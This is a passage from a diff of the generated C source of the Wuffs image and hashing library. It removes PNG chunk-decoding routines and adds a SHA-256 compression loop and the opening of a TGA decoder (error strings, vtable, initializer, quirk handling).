wuffs_png__decoder__decode_actl(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_actl = true; -- } else if (self->private_impl.f_chunk_type == 1297238115u) { -- if (self->private_impl.f_report_metadata_chrm) { -- if (self->private_impl.f_seen_chrm) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- status = wuffs_png__decoder__decode_chrm(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_chrm = true; -- } -- } else if (self->private_impl.f_chunk_type == 1280598886u) { -- if (self->private_impl.f_seen_fctl) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- status = wuffs_png__decoder__decode_fctl(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_fctl = true; -- } else if (self->private_impl.f_chunk_type == 1095582055u) { -- if (self->private_impl.f_report_metadata_gama) { -- if (self->private_impl.f_seen_gama) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- status = wuffs_png__decoder__decode_gama(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_gama = true; -- } -- } else if (self->private_impl.f_chunk_type == 1346585449u) { -- if (self->private_impl.f_report_metadata_iccp) { -- if (self->private_impl.f_seen_iccp) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- status = wuffs_png__decoder__decode_iccp(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_iccp = true; -- } -- } else if (self->private_impl.f_chunk_type == 1111970419u) { -- if (self->private_impl.f_report_metadata_srgb) { -- if (self->private_impl.f_seen_srgb) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- status = wuffs_png__decoder__decode_srgb(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_srgb = true; -- } -- } else if (self->private_impl.f_chunk_type == 1397641844u) { -- if (self->private_impl.f_seen_trns || (self->private_impl.f_color_type > 3u) || ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- status = wuffs_png__decoder__decode_trns(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- self->private_impl.f_seen_trns = true; -- } -+ v_final_block = true; -+ } else { -+ v_buf_data[v_buf_len] = 128u; -+ v_buf_len += 1u; -+ while (v_buf_len < 64u) { -+ v_buf_data[v_buf_len] = 0u; -+ v_buf_len += 1u; -+ } -+ } -+ v_h0 = self->private_impl.f_h0; -+ v_a = v_h0; -+ v_h1 = self->private_impl.f_h1; -+ v_b = v_h1; -+ v_h2 = self->private_impl.f_h2; -+ v_c = v_h2; -+ v_h3 = self->private_impl.f_h3; -+ v_d = v_h3; -+ v_h4 = self->private_impl.f_h4; -+ v_e = v_h4; -+ v_h5 = self->private_impl.f_h5; -+ v_f = v_h5; -+ v_h6 = self->private_impl.f_h6; -+ v_g = v_h6; -+ v_h7 = self->private_impl.f_h7; -+ v_h = v_h7; -+ while (true) { -+ if (v_final_block) { -+ v_length_in_bits = ((uint64_t)(self->private_impl.f_length_modulo_u64 * 8u)); -+ v_buf_data[56u] = ((uint8_t)((v_length_in_bits >> 56u))); -+ v_buf_data[57u] = ((uint8_t)((v_length_in_bits >> 48u))); -+ v_buf_data[58u] = ((uint8_t)((v_length_in_bits >> 40u))); -+ v_buf_data[59u] = ((uint8_t)((v_length_in_bits >> 32u))); -+ v_buf_data[60u] = ((uint8_t)((v_length_in_bits >> 24u))); -+ v_buf_data[61u] = ((uint8_t)((v_length_in_bits >> 16u))); -+ v_buf_data[62u] = ((uint8_t)((v_length_in_bits >> 8u))); -+ v_buf_data[63u] = ((uint8_t)(v_length_in_bits)); -+ } -+ v_w[0u] = ((((uint32_t)(v_buf_data[0u])) << 24u) | -+ (((uint32_t)(v_buf_data[1u])) << 16u) | -+ (((uint32_t)(v_buf_data[2u])) << 8u) | -+ ((uint32_t)(v_buf_data[3u]))); -+ v_w[1u] = ((((uint32_t)(v_buf_data[4u])) << 24u) | -+ (((uint32_t)(v_buf_data[5u])) << 16u) | -+ (((uint32_t)(v_buf_data[6u])) << 8u) | -+ ((uint32_t)(v_buf_data[7u]))); -+ v_w[2u] = ((((uint32_t)(v_buf_data[8u])) << 24u) | -+ (((uint32_t)(v_buf_data[9u])) << 16u) | -+ (((uint32_t)(v_buf_data[10u])) << 8u) | -+ ((uint32_t)(v_buf_data[11u]))); -+ v_w[3u] = ((((uint32_t)(v_buf_data[12u])) << 24u) | -+ (((uint32_t)(v_buf_data[13u])) << 16u) | -+ (((uint32_t)(v_buf_data[14u])) << 8u) | -+ ((uint32_t)(v_buf_data[15u]))); -+ v_w[4u] = ((((uint32_t)(v_buf_data[16u])) << 24u) | -+ (((uint32_t)(v_buf_data[17u])) << 16u) | -+ (((uint32_t)(v_buf_data[18u])) << 8u) | -+ ((uint32_t)(v_buf_data[19u]))); -+ v_w[5u] = ((((uint32_t)(v_buf_data[20u])) << 24u) | -+ (((uint32_t)(v_buf_data[21u])) << 16u) | -+ (((uint32_t)(v_buf_data[22u])) << 8u) | -+ ((uint32_t)(v_buf_data[23u]))); -+ v_w[6u] = ((((uint32_t)(v_buf_data[24u])) << 24u) | -+ (((uint32_t)(v_buf_data[25u])) << 16u) | -+ (((uint32_t)(v_buf_data[26u])) << 8u) | -+ ((uint32_t)(v_buf_data[27u]))); -+ v_w[7u] = ((((uint32_t)(v_buf_data[28u])) << 24u) | -+ (((uint32_t)(v_buf_data[29u])) << 16u) | -+ (((uint32_t)(v_buf_data[30u])) << 8u) | -+ ((uint32_t)(v_buf_data[31u]))); -+ v_w[8u] = ((((uint32_t)(v_buf_data[32u])) << 24u) | -+ (((uint32_t)(v_buf_data[33u])) << 16u) | -+ (((uint32_t)(v_buf_data[34u])) << 8u) | -+ ((uint32_t)(v_buf_data[35u]))); -+ v_w[9u] = ((((uint32_t)(v_buf_data[36u])) << 24u) | -+ (((uint32_t)(v_buf_data[37u])) << 16u) | -+ (((uint32_t)(v_buf_data[38u])) << 8u) | -+ ((uint32_t)(v_buf_data[39u]))); -+ v_w[10u] = ((((uint32_t)(v_buf_data[40u])) << 24u) | -+ (((uint32_t)(v_buf_data[41u])) << 16u) | -+ (((uint32_t)(v_buf_data[42u])) << 8u) | -+ ((uint32_t)(v_buf_data[43u]))); -+ v_w[11u] = ((((uint32_t)(v_buf_data[44u])) << 24u) | -+ (((uint32_t)(v_buf_data[45u])) << 16u) | -+ (((uint32_t)(v_buf_data[46u])) << 8u) | -+ ((uint32_t)(v_buf_data[47u]))); -+ v_w[12u] = ((((uint32_t)(v_buf_data[48u])) << 24u) | -+ (((uint32_t)(v_buf_data[49u])) << 16u) | -+ (((uint32_t)(v_buf_data[50u])) << 8u) | -+ ((uint32_t)(v_buf_data[51u]))); -+ v_w[13u] = ((((uint32_t)(v_buf_data[52u])) << 24u) | -+ (((uint32_t)(v_buf_data[53u])) << 16u) | -+ (((uint32_t)(v_buf_data[54u])) << 8u) | -+ ((uint32_t)(v_buf_data[55u]))); -+ v_w[14u] = ((((uint32_t)(v_buf_data[56u])) << 24u) | -+ (((uint32_t)(v_buf_data[57u])) << 16u) | -+ (((uint32_t)(v_buf_data[58u])) << 8u) | -+ ((uint32_t)(v_buf_data[59u]))); -+ v_w[15u] = ((((uint32_t)(v_buf_data[60u])) << 24u) | -+ (((uint32_t)(v_buf_data[61u])) << 16u) | -+ (((uint32_t)(v_buf_data[62u])) << 8u) | -+ ((uint32_t)(v_buf_data[63u]))); -+ v_i = 16u; -+ while (v_i < 64u) { -+ v_w2 = v_w[(v_i - 2u)]; -+ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); -+ v_w15 = v_w[(v_i - 15u)]; -+ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); -+ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); -+ v_i += 1u; - } -- if (self->private_impl.f_metadata_fourcc == 0u) { -- self->private_data.s_decode_other_chunk[0].scratch = self->private_impl.f_chunk_length; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (self->private_data.s_decode_other_chunk[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_other_chunk[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_other_chunk[0].scratch; -+ v_i = 0u; -+ while (v_i < 64u) { -+ v_t1 = v_h; -+ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); -+ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); -+ v_t1 += WUFFS_SHA256__K[v_i]; -+ v_t1 += v_w[v_i]; -+ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); -+ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); -+ v_h = v_g; -+ v_g = v_f; -+ v_f = v_e; -+ v_e = ((uint32_t)(v_d + v_t1)); -+ v_d = v_c; -+ v_c = v_b; -+ v_b = v_a; -+ v_a = ((uint32_t)(v_t1 + v_t2)); -+ v_i += 1u; -+ } -+ v_a += v_h0; -+ v_b += v_h1; -+ v_c += v_h2; -+ v_d += v_h3; -+ v_e += v_h4; -+ v_f += v_h5; -+ v_g += v_h6; -+ v_h += v_h7; -+ if (v_final_block) { -+ break; -+ } -+ v_final_block = true; -+ v_h0 = v_a; -+ v_h1 = v_b; -+ v_h2 = v_c; -+ v_h3 = v_d; -+ v_h4 = v_e; -+ v_h5 = v_f; -+ v_h6 = v_g; -+ v_h7 = v_h; -+ v_buf_len = 0u; -+ while (v_buf_len < 56u) { -+ v_buf_data[v_buf_len] = 0u; -+ v_buf_len += 1u; - } -- -- goto ok; -- ok: -- self->private_impl.p_decode_other_chunk[0] = 0; -- goto exit; - } -+ return wuffs_base__utility__make_bitvec256( -+ (((uint64_t)(v_h)) | (((uint64_t)(v_g)) << 32u)), -+ (((uint64_t)(v_f)) | (((uint64_t)(v_e)) << 32u)), -+ (((uint64_t)(v_d)) | (((uint64_t)(v_c)) << 32u)), -+ (((uint64_t)(v_b)) | (((uint64_t)(v_a)) << 32u))); -+} - -- goto suspend; -- suspend: -- self->private_impl.p_decode_other_chunk[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) - -- return status; --} -+// ---------------- Status Codes Implementations - --// -------- func png.decoder.decode_actl -+const char wuffs_tga__error__bad_header[] = "#tga: bad header"; -+const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; -+const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; -+const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__decode_actl( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+wuffs_tga__decoder__do_decode_image_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_tga__decoder__do_decode_frame_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_tga__decoder__do_decode_frame( -+ wuffs_tga__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_tga__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_tga__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_tga__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_tga__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_tga__decoder__initialize( -+ wuffs_tga__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_tga__decoder* -+wuffs_tga__decoder__alloc(void) { -+ wuffs_tga__decoder* x = -+ (wuffs_tga__decoder*)(calloc(1, sizeof(wuffs_tga__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_tga__decoder__initialize( -+ x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; - } -+ return x; -+} - -- uint32_t coro_susp_point = self->private_impl.p_decode_actl[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+size_t -+sizeof__wuffs_tga__decoder(void) { -+ return sizeof(wuffs_tga__decoder); -+} - -- if (self->private_impl.f_chunk_length != 8u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } else if (self->private_impl.f_interlace_pass > 0u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -- goto exit; -- } -- self->private_impl.f_chunk_length = 0u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_actl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- self->private_impl.f_num_animation_frames_value = t_0; -- } -- if (self->private_impl.f_num_animation_frames_value == 0u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_actl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -- } -- self->private_impl.f_num_animation_loops_value = t_1; -- } -+// ---------------- Function Implementations - -- goto ok; -- ok: -- self->private_impl.p_decode_actl[0] = 0; -- goto exit; -+// -------- func tga.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_tga__decoder__get_quirk( -+ const wuffs_tga__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_actl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ return 0u; -+} - -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+// -------- func tga.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__set_quirk( -+ wuffs_tga__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } - -- return status; -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func png.decoder.decode_chrm -+// -------- func tga.decoder.decode_image_config - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_chrm( -- wuffs_png__decoder* self, -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_image_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint64_t v_u = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_chrm[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_chunk_length != 32u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_chunk_length = 0u; -- self->private_impl.f_metadata_flavor = 5u; -- self->private_impl.f_metadata_fourcc = 1128813133u; -- self->private_impl.f_metadata_x = 0u; -- self->private_impl.f_metadata_y = 0u; -- self->private_impl.f_metadata_z = 0u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint64_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -- } -- v_u = t_0; -- } -- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint64_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 24) { -- t_1 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -- } -- v_u = t_1; -- } -- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- uint64_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -- if (num_bits_2 == 24) { -- t_2 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)); -- } -- } -- v_u = t_2; -- } -- self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); -- self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- uint64_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 